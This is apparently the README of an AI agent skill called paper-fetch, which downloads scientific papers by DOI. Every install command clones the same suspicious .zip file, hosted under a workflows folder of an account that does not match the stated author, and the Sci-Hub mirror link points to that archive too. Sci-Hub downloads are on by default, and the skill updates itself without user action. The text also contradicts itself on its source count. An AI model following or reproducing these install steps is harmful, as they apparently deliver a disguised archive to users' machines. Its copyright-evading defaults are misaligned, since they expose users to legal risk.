paper-fetch β Download Scientific papers automatically
δΈζζζ‘£
What it does
- Downloads paper PDFs from a DOI (or batch file of DOIs) via open-access sources
- 6-source fallback chain: Unpaywall β Semantic Scholar
openAccessPdf β arXiv β PubMed Central OA β bioRxiv/medRxiv β Sci-Hub mirrors (last resort, on by default)
- Zero dependencies β pure Python standard library, no
pip install needed
- Auto-named output β
{first_author}_{year}_{journal_abbrev}_{short_title}.pdf (journal omitted if unknown; multi-word journals get ISO-style initials, e.g. Proceedings of the National Academy of Sciences β PNAS)
- Batch mode β pass a file of DOIs with
--batch, or pipe them in with --batch -
- Agent-native β stable JSON envelope on stdout, NDJSON progress on stderr, machine-readable
schema subcommand (with deprecations slot for forward-compat drift detection), TTY-aware format default, idempotent retries via --idempotency-key, typed exit codes (0/1/3/4), partial-success batches with next retry hints, per-source diagnostics in result.source_detail (e.g. which Sci-Hub mirror won, so an orchestrator can pin it via PAPER_FETCH_SCIHUB_MIRRORS)
- Safely retriable β re-running skips already-downloaded files;
--idempotency-key replays the exact envelope without any network I/O
- Self-updating β when installed via
git clone, the agent runs a synchronous git pull --ff-only on the first invocation per conversation, throttled to once per 24h via <skill_dir>/.last_update. Updates apply immediately. Zero user action required. Force an immediate check with rm <skill_dir>/.last_update.
Discipline Coverage
The skill is discipline-agnostic β it works for any field, not just life sciences or computer science.
| Source | Discipline scope |
|---|
| Unpaywall | β
All disciplines (covers every Crossref DOI β humanities, social sciences, physics, chemistry, economics, etc.) |
| Semantic Scholar | β
All disciplines (cross-domain academic graph) |
| arXiv | Physics, math, CS, statistics, quantitative finance, economics, EE |
| PubMed Central | Biomedical only |
| bioRxiv / medRxiv | Biology / medicine preprints only |
| Sci-Hub mirrors | β
All disciplines (last-resort fallback when every OA / institutional source misses) |
In practice, Unpaywall + Semantic Scholar alone cover OA papers in chemistry, materials, economics, psychology, humanities, and every other field via institutional repositories, SSRN, RePEc, and publisher-hosted OA copies. arXiv/PMC/bioRxiv are additional fallbacks for their specific domains, and Sci-Hub is the universal last resort.
Multi-Platform Support
Works with all major AI coding agents that support the Agent Skills format:
| Platform | Status | Details |
|---|
| Claude Code | β
Full support | Native SKILL.md format |
| OpenClaw / ClawHub | β
Full support | metadata.openclaw namespace |
| Hermes Agent | β
Full support | Installable under research category |
| pi-mono | β
Full support | metadata.pimo namespace |
| OpenAI Codex | β
Full support | agents/openai.yaml sidecar |
| SkillsMP | β
Indexed | GitHub topics configured |
Comparison
vs No Skill (native agent)
| Feature | Native agent | This skill |
|---|
| Resolve DOI to PDF | Ad-hoc web search | Deterministic 5-source chain |
| Unpaywall integration | No | Yes β highest OA coverage |
| arXiv / PMC / bioRxiv fallback | Manual | Automatic |
| Batch download | No | Yes β --batch dois.txt or --batch - (stdin) |
| Consistent filenames | No | Yes β author_year_title.pdf |
| Machine-readable schema | No | Yes β fetch.py schema |
| Structured output | No | Stable JSON envelope + NDJSON progress |
| Idempotent retries | No | --idempotency-key replays cached envelope |
| Typed exit codes | No | 0/1/3/4 β orchestrator can route failures |
| Dependencies | Varies | Python stdlib only |
Prerequisites
- Python 3.8+ (standard library only, no extra packages)
- Unpaywall contact email (optional but recommended) β set once:
export UNPAYWALL_EMAIL=you@example.com
Add it to ~/.zshrc / ~/.bashrc to persist. Without it, Unpaywall is skipped and the remaining 4 sources (Semantic Scholar, arXiv, PMC, bioRxiv/medRxiv) are still tried.
Skill Installation
Claude Code
# Global install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.claude/skills/paper-fetch
# Project-level install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .claude/skills/paper-fetch
OpenClaw / ClawHub
clawhub install paper-fetch
# Or manual
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.openclaw/skills/paper-fetch
Hermes Agent
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.hermes/skills/research/paper-fetch
Or add to ~/.hermes/config.yaml:
skills:
external_dirs:
- ~/myskills/paper-fetch
pi-mono
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.pimo/skills/paper-fetch
OpenAI Codex
# User-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.agents/skills/paper-fetch
# Project-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .agents/skills/paper-fetch
SkillsMP
skills install paper-fetch
Installation paths summary
| Platform | Global path | Project path |
|---|
| Claude Code | ~/.claude/skills/paper-fetch/ | .claude/skills/paper-fetch/ |
| OpenClaw | ~/.openclaw/skills/paper-fetch/ | skills/paper-fetch/ |
| Hermes Agent | ~/.hermes/skills/research/paper-fetch/ | Via external_dirs |
| pi-mono | ~/.pimo/skills/paper-fetch/ | β |
| OpenAI Codex | ~/.agents/skills/paper-fetch/ | .agents/skills/paper-fetch/ |
| SkillsMP | N/A (installed via CLI) | N/A |
Usage
Single DOI:
python scripts/fetch.py 10.1038/s41586-021-03819-2
Custom output directory:
python scripts/fetch.py 10.1038/s41586-021-03819-2 --out ~/papers
Batch mode:
cat > dois.txt <<EOF
10.1038/s41586-021-03819-2
10.1126/science.abj8754
10.1101/2023.01.01.522400
EOF
python scripts/fetch.py --batch dois.txt --out ~/papers
Dry-run (preview without downloading):
python scripts/fetch.py 10.1038/s41586-020-2649-2 --dry-run
Human-readable text output:
python scripts/fetch.py 10.1038/s41586-020-2649-2 --format text
Pipe DOIs from another tool:
echo 10.1038/s41586-021-03819-2 | python scripts/fetch.py --batch -
Safely retriable batch (replay cached envelope on retry):
python scripts/fetch.py --batch dois.txt --out ~/papers \
--idempotency-key monday-review-batch
Machine-readable self-description (for agents):
python scripts/fetch.py schema --pretty
Streaming NDJSON (one result per line as each DOI resolves):
python scripts/fetch.py --batch dois.txt --stream
Or just ask your agent naturally:
Download the AlphaFold2 paper PDF to my ~/papers folder
Fetch the PDF for DOI 10.1038/s41586-020-2649-2
Download these three papers: 10.1038/s41586-021-03819-2, 10.1126/science.abj8754, 10.1101/2023.01.01.522400
Check if this paper has an open-access PDF available: 10.1038/s41586-020-2649-2
Batch download all DOIs from my dois.txt file into ~/papers
Resolution Order
- Unpaywall β best OA location across all publishers (highest hit rate)
- Semantic Scholar β
openAccessPdf field + externalIds lookup
- arXiv β if the paper has an arXiv ID
- PubMed Central OA subset β if the paper has a PMCID
- bioRxiv / medRxiv β DOI prefix
10.1101/
- Publisher direct β institutional mode only (
PAPER_FETCH_INSTITUTIONAL=1); your subscription IP / cookies / EZproxy authorize the fetch
- Sci-Hub mirrors β last resort, on by default. Tries
PAPER_FETCH_SCIHUB_MIRRORS (or built-in defaults: sci-hub.ru, sci-hub.st, sci-hub.su, sci-hub.box, sci-hub.red, sci-hub.al, sci-hub.mk, sci-hub.ee); on full miss, scrapes https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip once for fresh mirrors. Disable with PAPER_FETCH_NO_SCIHUB=1.
- Otherwise β report failure with metadata (title/authors) for ILL
Files
SKILL.md β the only required file. Loaded by all platforms.scripts/fetch.py β the downloader (pure stdlib Python)agents/openai.yaml β OpenAI Codex sidecar configurationREADME.md β this fileREADME_CN.md β Chinese documentation
Known Limitations
- Some publisher redirects return an HTML landing page instead of a PDF; the script validates the
%PDF header and fails cleanly in that case
- No authentication β institutional proxies (EZproxy / OpenAthens) are not supported in this version
- SSRF defense β every outbound fetch rejects private IPs, non-http(s) schemes, non-80/443 ports, and cloud-metadata hostnames
- 50 MB size limit β per-PDF download cap to prevent runaway downloads
License
MIT
Support
If this skill helps you, consider supporting the author:
Author
Agents365-ai
